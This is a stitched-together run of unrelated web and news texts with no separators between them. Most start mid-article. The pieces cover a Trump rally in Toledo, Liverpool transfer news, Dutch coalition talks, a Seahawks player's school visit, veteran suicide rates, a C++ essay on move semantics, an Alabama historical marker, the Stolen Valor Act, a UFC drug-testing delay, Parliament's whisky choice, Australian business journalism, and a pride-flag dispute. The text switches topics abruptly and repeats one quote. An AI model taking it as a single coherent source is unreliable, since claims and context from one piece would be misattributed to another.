At the rally in Toledo, aired by Right Side Broadcasting, Trump talked about the jobs disappearing from Toledo. He hammered the Trans-Pacific Partnership (TPP), which would give countries like Communist Vietnam special trade benefits. He talked about how the Chinese are taking advantage of the United States. This is a story that has been developing for years in Toledo. “In Blue-Collar Toledo, Ohio, a Windfall of Chinese Investments” was the headline over a New York Times story in 2013. The extraordinary story, about a city known as the Glass Capital of the World, or Glass City, was now buying glass from China for an extension to the Toledo Museum of Art because it could be made there more cheaply.
The story went on, “Over the past seven years since the museum project was completed, ties between Toledo and China have grown numerous. Chinese companies have paid more than $10 million in cash for two local hotels, a restaurant complex and a 69-acre waterfront property.”
One article even suggested that Toledo, Ohio, may go down in American history as the first major U.S. city to be owned by China.
Trump is appealing to workers who are losing their jobs to Mexico, China and Obamacare. His denunciations of Obamacare get as much applause as his criticism of bad trade deals. Trump asks the audience about those being forced from full to part-time work because of the impact of Obama’s health care scheme and many hands go up. There’s also the issue of the rising premiums that make insurance difficult to afford. Trump reminds people that the premiums are scheduled to rise again.
Adam Taxin of Right Side Broadcasting interviewed two young ladies from Toledo about the campaign. They should have been excited about the first woman presidential nominee of a major political party. Instead, they cited Hillary Clinton’s lies on Benghazi and saw through former President Bill Clinton’s romantic speech about her at the Democratic National Convention.
Right Side Broadcasting specializes in political news, video and live streaming coverage of political events. As the name implies, it claims to be on the “right side of history.”
Whatever the ultimate truth of that boast, one thing is certain: Right Side Broadcasting on YouTube is giving viewers an intimate look at the grass-roots support at Trump for president rallies. It shows the crowds so that viewers can actually see the packed arenas and enthusiastic support: “Ever wonder what the crowds look like at Donald J. Trump rallies? We show you what the mainstream media won’t.”
Lucas Leiva’s Liverpool future is unlikely to be decided until the end of the transfer window.
The long-serving Brazilian midfielder is wanted by Galatasaray but Reds boss Jurgen Klopp isn’t currently willing to sanction his sale.
Klopp’s defensive options have been severely depleted by injuries to Mamadou Sakho, Joe Gomez and Joel Matip.
Lucas, who filled in at centre-back at times last season, is also sidelined after suffering a hamstring strain in the friendly against Huddersfield Town but should be fit in the next fortnight.
Klopp is in no rush to off-load the 29-year-old, who recently entered the final year of his contract.
However, the manager knows he probably won’t be in a position to offer Lucas the kind of game time he wants this season.
The arrival of summer signings Marko Grujic and Gini Wijnaldum has increased the competition for central midfield spots alongside the likes of Jordan Henderson, Emre Can and James Milner.
Galatasaray will be able to guarantee Lucas a more prominent role but that deal will only happen if and when Klopp believes he has sufficient cover defensively later this month.
Liverpool hope that Matip, who arrived from Schalke this summer, will be fit for the start of the new Premier League season.
The Cameroon international sat out all three matches on the tour of America due to pain in his foot and has missed two-and-a-half weeks of pre-season training.
In his absence, Ragnar Klavan has impressed alongside Dejan Lovren - Klopp’s only two fit senior centre-backs.
Lucas is Liverpool’s longest serving player having made 315 appearances since his £5million move from Gremio nine years ago.
Migration policy was one of the most divisive issues in the March parliamentary vote, as the Netherlands — along with other wealthy Western European nations — grappled with how best to cope with the stream of migrants fleeing war and poverty in North Africa and the Middle East.
The behind-closed-doors negotiations were between election winner the People’s Party for Freedom and Democracy, or VVD, led by Prime Minister Mark Rutte, the Christian Democrats, the centrist D66 party and pro-environment Green Left party.
“The four parties in the end could not bridge the differences on migration policy,” Rutte told reporters in The Hague
“We all tried to bring together an almost impossible combination,” said Green Left leader Jesse Klaver. “Today, it turned out that the differences were too great.”
Rutte’s VVD and the Christian Democrats both advocated a tough migration policy in the latest election campaign while the Green Left wanted a more generous approach toward people fleeing war and repression.
In a tweet, Geert Wilders, the right-wing, anti-Islam, anti-immigration populist whose party is the second largest in the Dutch Parliament’s lower house, called the collapse “very good news.” He said his Party for Freedom is “fully available” to join any future coalition-building talks.
However, Rutte and other mainstream party leaders have repeatedly said they will not work with Wilders.
Rutte will now have to start the hunt for new possible coalition partners.
He could replace the Green Left party at the negotiating table with the small, faith-based party Christian Union. A coalition of Rutte’s VVD, the Christian Democrats, D66 and the Christian Union would have a one-seat majority with 76 seats in the 150-seat lower house.
Three classes worth of fifth graders fill stations in every corner of the gym. On one side a group of students is performing handstands against the wall. On the other students are working on their push-up form, their chests required to get low enough to touch a device lying on the floor. In back students attempt to throw a football through a hoop hanging from the basketball standard. And through it all a small herd excitedly bursts through the stations while playing catch.
Meanwhile, a tall figure stands above the fray, wandering slowly from station to station providing support and encouragement. But the figure isn’t a physical education teacher or a school administrator. The figure is Seattle Seahawks running back C.J. Prosise.
Prosise visited Grove on Tuesday morning as part of the SqordGo! Active Play program, sponsored by Premera Blue Cross, and it was just his latest stop through Snohomish County as he spreads the word to kids about the importance of staying active.
Prosise, a rookie out of Notre Dame who was a third-round pick in this year’s NFL draft, is currently sidelined because of a fractured scapula in his left shoulder. However, the injury didn’t prevent Prosise, who had just made the breakthrough as an impact player on the Seahawks’ offense when the injury struck two weekends ago, from providing words of wisdom to the students at Grove.
“I always want to give back, and for me the kids are the future,” Prosise said. “So you want to make sure the kids are first. It’s about encouraging kids to be active and strive and believe in their dreams, it’s encouraging them and being a role model for them. That’s the most important thing for me.
“I have a great time with the kids,” added Prosise, who had a big smile across his face when the Grove students began chanting C-J in the manner fans at CenturyLink Field chant Sea-Hawks! “They’re so excited. It’s a little different now that my shoulder’s all beat up, but it’s so much fun being out there interacting with the kids, just seeing the looks on their faces when they see someone they can look up to.”
Prosise first got involved in the SqordGo! program over the summer, thanks to the guidance of Premera executive vice president Jim Messina, who is serving as an off-field mentor. Grove is one of five Snohomish County elementary schools Prosise has visited this fall — the others are Beverly and Oak Heights in Lynnwood, Columbia in Mukilteo, and Sherwood in Edmonds. Next week he’s scheduled to visit Kokanee in Woodinville.
The purpose of the visits is to promote the SqordGo! program. Sqord has provided wristband activity trackers, similar to Fitbits, to fifth graders at 35 schools in Snohomish County. However, the wristbands track more than just steps, they monitor the physical movements by all body parts and translate those movements into points. That gives the kids the opportunity to compare scores and partake in some friendly competition.
“The message is that healthy habits and healthy behaviors can also be fun,” said Sqord co-founder Coleman Greene, who added that capabilities such as creating avatars makes the wristbands more kid friendly. “The core of what we’re trying to do at Sqord is restore that old-school play using new-school technology and building healthy habits through fun social experiences.”
The program even allows the students to compete with Prosise. Prior to his injury, Prosise would remove the sensor from the wristband and put it in his shoe during Seahawks practices to monitor his movement. On Tuesday he was wearing his wristband around the strap of the sling holding his left arm.
“I think they beat me in a lot of the challenges, because my shoulder’s all messed up and I don’t get to do a lot,” Prosise said with a chuckle. “But these kids are pretty active, they do a lot, so it’s fun to see.”
Having a professional athlete involved is new to the program. Grove has been involved with Sqord for four years, ever since P.E. teacher Gayle Bluhm spearheaded the efforts to secure a grant. But having a member of the Seahawks visit takes it to another level.
“It’s priceless,” Grove principal Sharon Anderson said about Prosise’s visit. “It really is, because they need to see the real person, the real life. How does physical education and movement create the whole body and motivate people to do the things C.J. has done? That’s a role model for them to look to.”
A role model who’s helping the youth of Snohomish County stay fit.
First, Ji Eun shared some thoughts on her first leading role in drama 'Sweet Home, Sweet Honey'. She said, "It is a drama that finally gave me a role after numerous auditions. I was very nervous at first for taking the leading role in a daily drama. I think I was shaking until I arrived at the set, but it got more comfortable over time. I learned a lot from the sunbaenims, and now I'm kind of sad that all 129 episodes are over."
She also mentioned her fellow SECRET members and the influence they had on her acting. Ji Eun stated, "There were 2 members who started acting before me and they received good audience feedback. I didn't want to lower our group's average so I asked for advice, and also received great help and support from them, which allowed me to confidently pursue my acting career."
Next, the topic of SECRET's comeback arose, and Ji Eun commented, "We want to take a long time to prepare well for it. We have come up with various performances with different concepts, but we want to show a new side of SECRET, so all the members are deeply thinking about it and are in discussion."
Ji Eun then chose her favorite SECRET songs as "Shy Boy" and "Starlight Moonlight". She explained, "All 4 members' bright and outgoing qualities were well portrayed on stage, and many fans also liked that image [of us]. Now we are heading into our mid 20's, so I think Hyosung unni's powerful sexiness is going to be SECRET's advantage."
More of Ji Eun's photos and interview can be found in 'International bnt'.
What they probably won’t talk about is the high number of veterans who will die by their own hand during the week-long conference.
According to a recent report by the Department of Veteran Affairs, 7,300 veterans killed themselves in 2014 — an average of 20 per day. This is more than the entire number of soldiers killed in Iraq and Afghanistan to date.
If this trend keeps up, by the end of the American Legion conference, 140 veterans will have killed themselves.
The rate has increased by one-third since 2001, and the majority are men 50 years of age or older.
Candidate Clinton has proposed a comprehensive plan that includes a new framework for veterans’ health care delivery, efforts to combat the homelessness epidemic, and a greater awareness of women veterans’ issues. Meanwhile, Trump’s plan includes partial privatization of the VA, higher standards for veteran employees of the department, and easier access to VA services in rural areas. But many experts feel that these proposals are inadequate.
Joe Davis, Director of Public Affairs at the Washington office of Veterans of Foreign Wars, offered a grim assessment. “Suicide is a nationwide issue and no amount of money or rhetoric is going to solve — a problem that first requires an individual to voluntarily ask for help,” he said.
“One suicide is one too many, but knowing that totally ending the crisis may be an unattainable goal, the best we as a nation can do is be aware of those around us, and know where to refer them for help.”
The main causes of the high suicide rate are post-traumatic stress disorder (PTSD), traumatic brain injury, and depression. They are usually treated with counseling and medication. Experimental treatments are also available, some of which may be promising.
For example, a procedure involving the use of a multiwatt neuro-laser is being tried on traumatic brain injury and depression. The laser has enough power to “penetrate skin and skull, reaching the deep parts of the brain where injuries are, with no irritation to the skin or other side effects,” according to Theodore Henderson, M.D.,Ph.D, a Denver-based psychiatrist and leading practitioner of these treatments (Traumatic Brain Injury, Major Depressive Disorder). But large, randomized control trials will need to be done to establish the safety and effectiveness of these procedures.
“One suicide is one too many, but knowing that totally ending the crisis may be an unattainable goal, the best we as a nation can do is be aware of those around us, and know where to refer them for help.”
Dr. Thomas J. Berger, Executive Director of the Veterans Health Council at Vietnam Veterans of America, stressed that relying on a medical solution alone will not fix the problem. In an interview with WhoWhatWhy, he described approaches that aim to prevent veterans from entertaining thoughts of suicide in the first place
“The military service could provide better resilience training prior to troops’ deployment, and that would be followed by a refresher course after they return from a deployment,” Berger said. “We’ve got to go directly to the medical schools, to the graduate schools, and make a pitch for people to get more involved in veterans’ mental health issues.”
Even if the new medical technologies and better training hold out the promise of saving some lives, the roots of the epidemic lie deeper.
“Military culture makes it harder for veterans to seek help in managing traumatic brain injury and PTSD,” Dr. Henderson, the Denver psychiatrist, said.
By “military culture,” he was referring to the emphasis on toughness, an ingrained problem that discourages veterans from asking for the help they need. Too many view seeking assistance for mental problems as “not masculine.”
Henderson also said many veterans have lost faith in the VA. This lack of confidence no doubt stems from such problems as long wait times for admittance to veterans’ hospitals, understaffing, and inexperienced doctors.
Whatever the factors that lead to veteran suicides, it is clear that the intervention of the VA appears to make a difference. According to the Veteran Affairs report: Since 2001, the rate of suicide among US Veterans who use VA services has increased by 8.8% — but the rate of suicide among veterans who do not use VA services increased by 38.6%.
Despite the ability of the VA to help, it doesn’t always do so. A case in point: Marsha Bias told WhoWhatWhy that her son Marcus had developed PTSD while serving in Iraq — but no one told her. And no one gave her his medical records documenting his PTSD. Instead, the military just stuck those records in a large box along with a lot of other items — and gave it to Marcus, not to his mother. She only came upon them later, almost by chance.
She did not have those records when she took her son to the VA in Beaumont, Texas, but she did describe his disturbing behavior to them. They turned him away, claiming his mental illness “wasn’t service related.”
Frustrated, she eventually asked The Examiner, a weekly newspaper published in Beaumont to help draw attention to the problem. It was only after receiving bad press that the VA offered him treatment. By then, it was too late. In March 2013, Marcus shot himself in his bedroom.
The suicides are bound to continue until a number of radical changes take place. First, veterans need the same politicians who send them off to war to pay more attention to their problems when they return home.
Perhaps the greatest challenge of all, however, will be to transform the culture of the military so that veterans are not ashamed to ask for the help they so clearly need.
Related front page panorama photo credit: Adapted by WhoWhatWhy from Army veteran (DoD News / Flickr – CC BY 2.0)
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Sometimes in this space I talk about how to write programs that avoid needless work. Other times I argue that computers should work for people, not the other way around. Isn't there a contradiction here? If you rewrite your program to avoid needless work for the computer, aren't you doing work to make things easier for the computer?
The way to resolve this apparent contradiction is to realize that whenever a human is waiting for a computer to do needless work, it is not just the computer's time that is being wasted. If the work is finished quickly enough that no one is inconvenienced by waiting, then it doesn't matter how much computer time is wasted. On the other hand, there are times when even a fraction of a second is too long to wait. For example, a program that displays video too slowly to keep up with the frame rate is as useless as a program that takes 48 hours to issue a 24-hour weather forecast.
In other words, every program optimization is a tradeoff between human effort and computer time. I believe that human effort is usually much more important than computer time, but not infinitely so and not under all circumstances. Doing a lot of rewriting in order to make a program slightly faster is much less important than doing a small amount of rewriting to make a program a lot faster.
Sometimes an optimization saves relatively more when the program has more work to do. A classic example of such an optimization is replacing a bubble sort by a better sorting algorithm. Bubble sorts are typically O(n2), where n is the number of elements being sorted. There are other algorithms that are O(n log n). The ratio between O(n2) and O(n log n) increases as n increases, to the extent that O(n2) algorithms are usually impractical for larger than toy programs.
Another factor to keep in mind when you think about optimizing a program is whether your optimization will be dominated by another part of the program's execution time. For example, if a program uses a bubble sort on n elements in several places in its code, and you replace some of those bubble sorts by faster algorithms but leave others as they were, the remaining bubble sorts will take an ever greater share of the total program's execution time as n increases.
In short, the key to finding effective ways to speed up a program is to look at the parts of the program that dominate its execution time and find ways of speeding up those parts that require relatively little programmer effort to implement.
With this background in mind, let's think about moving data rather than copying it. Suppose, for example, that we have two functions, each of which takes a string argument:
void val(string s) { /* … */ } void refc(const string& s) { /* … */ }
As their names imply, val 's parameter is a simple value, and refc 's parameter is a reference to const . Accordingly, when we give a variable to each of these functions as its argument:
string s; val(s); refc(s);
calling val copies s , and calling refc(s) does not do so. Much of the time, we would expect refc to be faster than val .
How much faster is refc ? It depends. One extreme is that each of these functions looks at only a few characters in the string. In that case, copying the string's characters would dominate the functions' execution time, so avoiding copying the characters would make a relatively large difference. The other extreme is that the functions do a lot of work regardless of the string's length, and the amount of work grows at least as rapidly as the string's length. In that case, the time to copy the string never dominates, and there's not much to gain.
There's a third case to consider: Perhaps the functions use the string in a way that effectively copies it anyway. For example, consider a function that returns the reverse of its argument. We might write it this way:
string rev(string s) { reverse(s.begin(), s.end()); return s; }
Alternatively, we might write it this way:
string rev(const string& s) { string t = s; reverse(t.begin(), t.end()); return t; }
The first of these functions takes advantage of the knowledge that its parameter, s , is a copy of its argument. Because of this knowledge, the function is free to modify the parameter. The second of these functions does not have that freedom, so it has to copy its parameter to modify the copy. Both of these functions wind up doing pretty much the same thing.
Note the weasel words "pretty much" in the previous paragraph. They are there because C++11 standard-library strings have move constructors. Consider the expression rev(get_string()) , where get_string is any function that returns a string . The subexpression get_string() is an rvalue, so the compiler knows that that subexpression is not going to be used again. As a result, if we are using the first version of rev , the result of get_string() is moved directly to rev 's parameter s . No characters are copied. In contrast, if we are using the second version of rev , the function is explicitly making a copy of s when it creates the local variable t . In other words, in C++11 it is actually possible for the second version of rev to be slower than the first.
If you really care enough about execution time that the difference between the two versions of rev matters to you, you should probably be overloading it:
string rev(string&& s) { reverse(s.begin(), s.end()); return s; } string rev(const string& s) { string t = s; reverse(t.begin(), t.end()); return t; }
Overloading an rvalue reference with an ordinary reference to const ensures that calling it with any kind of argument will match exactly one of these functions. If the argument is an rvalue, the compiler will choose the first function, which will reverse that rvalue in place. If the argument might be used again later, the compiler will call the second function, which will safely copy the string's characters.
So far, what we have seen is an assortment of small, mundane optimizations. They aren't terribly hard to code; they sometimes help and sometimes don't; and sometimes they even make things worse unless you use overloading to ensure that the compiler always does what you intend. Among the most useful of these optimizations is the one that you don't write at all; namely the one that happens when the compiler turns a copy into a move for you.
The Rooster Bridge
Marker ID: AHC Location: on U.S. 80 3 miles east of State Road 28, Demopolis, Alabama County: Sumter Coordinates: N 32° 27.127 W 088° 0.344 32.45211666 -88.00573333 Style: Free Standing ** Waymark: None
Text:
Side 1:
In 1919 a rooster sale organized by Frank Derby raised money to begin construction of a bridge over the Tombigbee River at Moscow Ferry. This was the last link in the completion of the Dixie Overland Highway between Savannah and San Diego.
The idea was"to bridge the 'Bigbee with cocks”: Roosters would be solicited from world-famous persons and an auction and barbeque held in the city of Demopolis for the benefit of the bridge.
Congressmen"Buck” Oliver, Admiral William S. Benson, and Secretary of Navy Josephus Daniels helped sell President Wilson on the idea. He and the others of the Big Four, Lloyd George, Clemenceau, and Orlando, who were meeting at the Versailles Conference, shipped roosters on the USS Northern Pacific. Governor Kilby sent 27 prominent Alabamians to the White House to receive the roosters from President Wilson.
Side 2:
By August 14, 1919, 600 roosters (and one hen from Helen Keller) had arrived in Demopolis. President Wilson's rooster auctioned for $44,000. Over $200,000 was pledged, but most was not collected. The names of 88 donors appear on markers at the original site one mile downstream.
With the addition of state and federal funds the bridge was constructed and opened in 1925 as Memorial Bridge. Always known locally as Rooster Bridge, the name was officially changed in 1959 when a bill sponsored by Sen. E. O. Eddins passed the State Legislature. In July, 1971, a bill sponsored by State Representatives I. D. Pruitt and R. S. Manley was approved, which decreed that all future bridges over the Tombigbee at Moscow would be named Rooster Bridge and bear plaques relating the unique plan devised by Frank Derby in building the first bridge.
Erected by Alabama Historical Commission and the Alabama Highway Department.
End of The Rooster Bridge
Iraqi Yazidi people who fled their homes in Sinjar, enter Iraq from Syria at a border crossing in Feshkhabour in Dohuk Province, northern Iraq, Aug. 10, 2014. ( ADAM FERGUSON / The New York Times )
“We have tried to get an appointment with (Refugee Minister John) McCallum, but no one has agreed,” he says. In an email to the Star, the department said that Canada is “well positioned” to protect vulnerable people in the region. However, “we rely on the United Nations Refugee Agency and private sponsors to identify refugees for resettlement.” It added that Canada “does not track resettled refugees by religious or ethnic composition.” The UNHCR emailed that “we are submitting Yazidi women from Iraq for resettlement from Turkey,” but that “it is really for (Canada) to say if they are considering taking Iraqi Yazidis from Turkey as part of their resettlement program.”
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Lollapalooza Drinking Game Rules:
Drink if:
They show the fountain in Grant Park. Finish your drink if someone is swimming in it
Lorde talks about how lucky she is to be here
Anytime someone says this is the best show they’ve ever played
They show Perry Farrell
Someone says “exclusive,” “facebook,” or “twitter”
Arctic Monkeys says something no one can understand
You see an obvious corporate sponsorship (I’m looking at you, Red Bull)
They show a girl in a
Any time a DJ speaks
Chromeo has a voice solo
Someone promotes their new album
Someone you’re with is surprised by how deep Mark Foster’s voice is when he speaks
Jenny Lewis. Just all of Jenny Lewis.
They show anyone drunkenly dancing. Drink until you want to dance with them.
They show the big metal jelly bean
Someone you’re with Jungle is TV on the Radio
If you willingly watch Krewella, just do us all a favor drink yourself to death
Childish Gambino says the phrase “ “
Cut Copy’s instruments come unplugged, but the music doesn’t stop playing
from Kings of Leon drinks on stage
Skrillex jumps on top of his DJ booth
The nation's top court voted 6-3 on Thursday that the Stolen Valor Act of 2006 infringes upon speech protected by the First Amendment. The law, which was enacted amid the U.S. wars in Afghanistan and Iraq, targeted those who made bogus claims about receiving the Medal of Honor or other military decorations. The retooled Stolen Valor Act of 2011 wouldn't stop barroom boasting about bogus service, but would take aim at people who benefit financially or otherwise from their phony claims.
“Now that the Supreme Court has laid down this marker, I will be pushing for a vote on a version of the Stolen Valor Act that will pass constitutional scrutiny,” said Rep. Joe Heck, R-Nev., a colonel in the Army Reserves.
Thursday’s ruling centered upon Xavier Alvarez, a former local elected official in California who falsely claimed he was a decorated war veteran and pleaded guilty to violating the 2006 law. Justice Anthony Kennedy, who authored the opinion, noted that "few might find respondent's statements anything but contemptible," but said there was no evidence to suggest that Alvarez received anything in exchange for his claims.
Heck's bill has 52 bipartisan co-sponsors, and Sen. Scott Brown, R-Mass., has introduced the Senate companion bill. Violators of the law, if passed, would face up 1 year in jail for the misdemeanor offense of lying about serving in a combat zone, serving with special operations force or being awarded the Congressional Medal of Honor. In any other case, offenders would be fined or face up to 6 months behind bars.
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B.G. “Jug” Burkett, the Vietnam veteran whose 1998 book “Stolen Valor” inspired the original law, told FoxNews.com he was “disappointed” by Thursday’s ruling, but expects another solution to be found.
“What I’m hoping happens now though is that Congress takes up this issue again, crafts a stronger law and makes it a felony offense,” the 68-year-old Dallas-area veteran told FoxNews.com Friday. “Every state in the union has some law about impersonating a police officer, so I can’t imagine that Congress can’t include impersonating a military veteran in its laws.”
Roughly 75 percent of military histories Burkett checks for accuracy are bogus, typically offered by men with “low self-esteem” or as part of a scam, he said.
“I realized early on that just because it was in the paper doesn’t make it true,” he said. “And there’s a tendency to not check anything if it deals with a veteran.”
Informed of the renewed push for action on the 2011 version of the law following Thursday’s ruling, Burkett said he found the term “anything of value” to be problematic since very few military impersonators he’s found have received “tangible” benefits.
“In terms of benefits, is it a benefit or of value if the town of McKinney makes you the grand marshal of its town parade?” Burkett asked.
Jay Agg, a spokesman for AMVETS, a national veterans group, said Thursday’s ruling provides an “opening” to replace the 2006 law with legislation that avoid curtailing protected speech.
“If you benefit materially, and not just by getting a free drink, but something consequential — lying on a job interview, maybe you lie in the commission of another fraud — then you have a different set of circumstances,” Agg said. “It’s not just free speech. We’re going to ensure that the integrity of our military awards are protected and the interests of our veterans are served.”
Over the years, several instances of so-called stolen valor have made headlines:
—Connecticut Sen. Richard Blumenthal defended his representation of his military service in 2010, admitting he misspoke about serving in Vietnam;
—Royall Switzler saw his 1986 candidacy for governor of Massachusetts scuttled when inaccuracies about his military record were revealed, having claimed he served in Vietnam when it he had actually only visited that country while on leave from non-combat duty in Korea;
—Tim Johnson, while managing Major League Baseball’s Toronto Blue Jays in 1998, told several newspapers in 1998 that his Vietnam war stories were complete fabrications and that he had been in the Marine Corps reserves during that span;
—Also in 1998, Joseph Yandle, a convicted killer who was set free in part because of his claims of valor in the Vietnam War, was taken back into custody after officials learned he only held a desk job and was far from combat. Yandle remains behind bars at the medium-security Old Colony Correctional Center in Bridgewater, Mass.
—More recently, a Navy Reserve recruiter and aspiring country music star was charged with wearing the Distinguished Flying Cross and another award he didn’t earn, the Navy Times reports. Aviation Ordnanceman 1st Class Grady Wayne Nations, 43, was charged June 8 with violating Article 134 of the Uniform Code of Military Justice for wearing a DFC and a Coast Guard Special Operations Service Ribbon.
—Questions are also being raised about Democratic Arkansas congressional candidate Kenneth Aden, a former Army staff sergeant who served in Iraq and Afghanistan, but whose claims to have been a Green Beret do not seem to be supported by official records.
—Aspiring country singer Tim Poe, 35, was booted from NBC's "America's Got Talent" last month after his story of sustaining a traumatic brain injury by a grenade during combat in Afghanistan in 2009 was debunked.
Burkett, meanwhile, said he still gets angry every time he sees a news report of someone misrepresenting their past military service.
Andrea Lee vs. Kalindra Faria slated for UFC 216 — https://t.co/hPnJau1ZU4 pic.twitter.com/37Lgrd1Xl1 — Ariel Helwani (@arielhelwani) September 28, 2017
“So, obviously I won’t be fighting next weekend, USADA is making me undergo the ‘USADA testing pool’ which requires me to take a bunch of random test over a period of 6 months BEFORE I can step into the UFC octagon. This is all because of the diuretic (a.k.a fluid pill) I took in 2016. I figured that when I was off my suspension that I wouldn’t have to deal with that anymore, obviously I was wrong. It’s not the UFC’s fault because they didn’t know about this USADA rule. I’m still signing a fight contract with UFC, that hasn’t changed, I just have to enroll in this program now so my time can start ticking. Look for me to fight next year the end of March or early April. P.S. I’m not on drugs nor am I or have I taken any steroids. I’ve passed ALL my random drug tests this year. Thank you for your support.” — Andrea Lee from her official Instagram.
While she may not fighting next Saturday, Andrea Lee is still in the UFC and will have her debut rescheduled after she goes through the mandatory testing pool. On the bright side, the UFC will have already kick-started their own flyweight division and crowned the inaugural champion from The Ultimate Fighter 26 tournament. While the division is super young, if Lee steps in and finishes her first opponent, it’s possible she could already be contending for the belt.
Andrea Lee vs Heather Bassett #LFA4 Hematoma pic.twitter.com/QQoqdmOpGG — Zombie Prophet (@ZPGIFs) February 18, 2017
Parliament's official scotch is this 12-year-old Aberlour Highland single malt. Naturally, it's from Scotland, and that's what's upsetting domestic whisky makers. ( lcbo.com )
“We have a vibrant Canadian whisky industry,” said Davin de Kergommeaux, author of a primer on Canadian whisky and co-ordinator of the Canadian Whisky Awards, held each January. “My question is, why is the government promoting imported whisky over our own?” “Canadian whisky is getting such a good reputation. It surprises me that they (the Speaker, senators and MPs) don’t feel the same.” De Kergommeaux said he’s not alone in being angry. He said he is having trouble keeping up with all the tweets and emails about this slap in the face to the Canadian whisky industry.
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“My point is they shouldn’t have to compete with scotch,” de Kergommeaux said — it should be a made-in-Canada contest. His sentiments are shared by Jan Westcott, chief executive officer of Spirits Canada, a national trade association. “It’s absolutely outrageous. What are they thinking? It makes no sense when Canada makes some of the best whisky in the world.” In fact, earlier this year Jim Murray, a British expert who publishes the Whisky Bible, named Canada’s Crown Royal Northern Harvest Rye as the world’s best whisky, said Westcott. “We’ve been making whisky here for over 200 years. We’re older than the country. Don’t you think a Canadian whisky should be representing Canadian Parliament?” According to the Speaker’s office, the Speaker’s “Selection Scotch” was chosen in a blind-taste test and a number of Canadian whiskies and international products were involved. The test was part of a “traditional scotch tasting,” said Heather Bradley, director of communications for the Office of the Speaker, Halifax MP Geoff Regan. “Senators and members of Parliament were invited to sample a variety of scotches by blind taste test, and to vote for their favourite,” said Bradley. “Speaker Regan insisted that Canadian whiskies be invited to participate.”
The Speaker of the House, senators and MPs participated in the taste-testing after this year’s Burns Supper — to celebrate the Scottish poet Robert Burns — on Jan. 25. Bradley would not list which Canadian whisky producers participated in the contest. The winner, which retails for about $65 for a 750-mL bottle at the LCBO, is described as a medium amber scotch with a palate that is persistent with a “good intensity of apricots, caramel, spice, ginger, cinnamon, vanilla and toast completed by a long, warm finish.” Most scotch connoisseurs agree that Aberlour Highland single malt is an excellent whisky.
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Just three years ago, The Age showed it still had great integrity when senior business writer Michael West wrote a piece in Fairfax newspapers that contained a similar message.
But times have clearly changed at Fairfax, and an article written without fear nor favour about internal problems was always going to crash and burn.
Manning made a number of points, but significantly he joined a long lists of journalists bemoaning other journalists who are complicit in PR-driven “churnalism” which he delightfully described as:
herograms for business leaders, unreadable roundtables and conference-linked spreads featuring plenty of happy snaps of business leaders with a glass of champagne or mineral water in hand.
Churnalism was first noted by British journalist Nick Davies - the same reporter who brought to light the News of the World phone hacking revelations - in a 2008 book, Flat Earth News. In the book, he describes the time and cost-pressured reproduction of press releases and wire stories without fact-checking - that is, churnalism - as leading to the “mass production of falsehood, distortion and propaganda” in the mainstream media.
By criticising the role of the journalists – because so many put their relationships with their sources above the public interest – Manning was never going to win friends within Fairfax. As he wrote, the public wants more serious journalism and not the bubblegum that is served up to please PR spinners and company directors.
Nobody reads it. Educated readers…hate it. Ultimately, even advertisers shun it. It’s a business model for business journalism that had been tried at both The AFR and The Australian. It doesn’t work.
Sadly, Manning’s burning desire to tell those of us outside Fairfax of his genuine concern about quality journalism means he has now been forced to leave the Fairfax stable of high-profile business writers. Though in recent times their ranks have been diminishing, Fairfax still boasts many highly-regarded reporters such as Michael West, Adele Ferguson and Malcolm Maiden.
In his final column for Fairfax last year before taking redundancy, senior business writer Ian Verrender bemoaned the “soft and fawning” relationship the Australian media has historically had with big business.
Veer too far from the press release, question a little too aggressively and the mighty weight of a corporation suddenly is hovering above, threatening litigation, demanding your dismissal. The chief executive probably knows a few people on the newspaper company’s board.
Manning probably knew the moment he sent his story to Crikey that he was unlikely to last. Even if your news organisation waxes lyrical in its editorials about freedom of speech, journalists these days cannot bite the hand that feeds them even if they’re right. Every sports and entertainment writer in the country knows that.
While there is limited whistleblower protection in place for people in government organisations who tell it how it is to media outlets, there is no such protection in place for fearless journalists who tell their competitors (and more importantly the public) how they are failing.
News organisations are in some regards no different to any other business, as every first year university student argues in journalism 101. While it’s supposed to be about truth-telling, in the dying days of the legacy media it is all about economics and the market for corporate control.
Unless journalists write puff pieces to keep advertisers and shareholders happy, then reporters can expect subpoenas or being shown the door.
It's taken a few decades and the horrific murder of nine Black people in a Bible study church group but finally the movement to take down the Confederate flag is successfully proceeding. In the works are the removal of the flag - which isn't even the actual Confederate flag - from the South Carolina State House, Virginia license plates, and the Mississippi State flag. On the corporate side, Walmart, Amazon, Sears, eBay, and now Etsy have agreed to stop selling Confederate flag merchandise. Expect more as Americans realize the flag some see as "heritage" is actually a flag supporting oppression and hate.
Of course, not everyone sees that, and some conservatives have a rather unique feeling toward the gay pride flag, or LGBT pride flag, or the pride flag - whatever you care to call it.
While the historic rainbow-inspired flag has earned a place in the Museum of Modern Art, and atop many corporate headquarters and government buildings, anti-gay conservatives are demanding it be removed.
RELATED: Young Republican Writer: 'Obama's America' Has Become 'United States of Gaymeria'
Breitbart writer John Nolte, whose work represents some of the more unhinged articles at the site founded by LGBT rights supporter Andrew Breitbart, today sent these tweets:
When will this symbol of anti-Christian hate come down? pic.twitter.com/NbKmvx7ADg — John Nolte (@NolteNC) June 23, 2015
The hateful symbol of those who harrass and bully those who stand for traditional marriage must come down... pic.twitter.com/q2yA3AE0Io — John Nolte (@NolteNC) June 23, 2015
The hateful symbol of bigots who smear Christianity as hate speech must come down... pic.twitter.com/Tdf2ynblmu — John Nolte (@NolteNC) June 23, 2015
Anyone who doesn't think the gay flag has become a symbol of bigotry and hate hasn't been paying attention. pic.twitter.com/chkTsR5dYh — John Nolte (@NolteNC) June 23, 2015
Those were followed by a piece, "Take Down The Fascist, Anti-Christian Gay-Pride Flag."
"Under the banner of what is dishonestly called a gay pride or gay 'rights' flag, hate, fascism, and intolerance has festered for years, specifically against Christians and conservatives," Nolte claims. "Under the auspices of a 'rights and equality' symbol, Leftists have been on a rampage to take way the rights of others through bullying, lies, and online terrorism."
He also claims that in the name of the gay pride flag, "people are outed against their will, terrorized out of business merely for being Christian, bullied and harassed for thoughtcrimes; moreover, 'hate crimes' are being manufactured to keep us divided, Christians are refused service, death threats are hurled, and Christianity is regularly smeared as hate speech."
If individuals wish to fly this symbol of hate, oppression and bigotry on their own property, that is their choice in a free country. It is unconscionable, however, that this symbol of intolerance is allowed to fly above government-owned buildings.
Of course, no government building has the gay pride flag flying 365 days a year, nor is there any federal law requiring it.
Ironically, Nolte writes he is "also in favor of removing the Rebel Flag from the grounds of the South Carolina Capitol. Equivalence is not the issue here. Hate and intolerance is."
Nolte is not alone, of course.
